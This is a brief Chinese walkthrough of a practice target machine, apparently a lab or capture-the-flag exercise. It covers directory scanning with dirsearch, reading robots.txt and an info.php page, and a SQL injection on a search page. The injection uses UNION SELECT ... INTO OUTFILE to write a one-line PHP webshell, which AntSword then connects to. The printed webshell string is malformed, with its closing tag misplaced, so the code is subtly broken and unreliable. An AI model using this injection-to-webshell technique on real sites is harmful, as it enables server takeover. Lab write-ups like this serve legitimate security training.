1.访问靶机的IP地址
2.通过kali中的dirsearch工具进行目录查找
得到robots.txt，通常情况下，robots.txt文件下有该网站的目录列表
3.访问robots.txt文件，得到如下：
4.通过dirsearch工具再次扫描/m3diNf0目录得到如下：
得到该目录下有一个info.php文件
5.访问/m3diNf0/info.php，得到该网站的根目录
6.访问另一个目录得到一个搜索界面
此界面经测试发现可以进行SQL注入，所以使用该漏洞上传一句话木马
注入语句：
1' union select 1,2,'<?php @eval(\$_POST[cmd];?)>' into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/sis.php' #
测试是否上传成功，发我该木马文件
上传成功
7.利用蚁剑进行连接
进入靶机目录
107
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
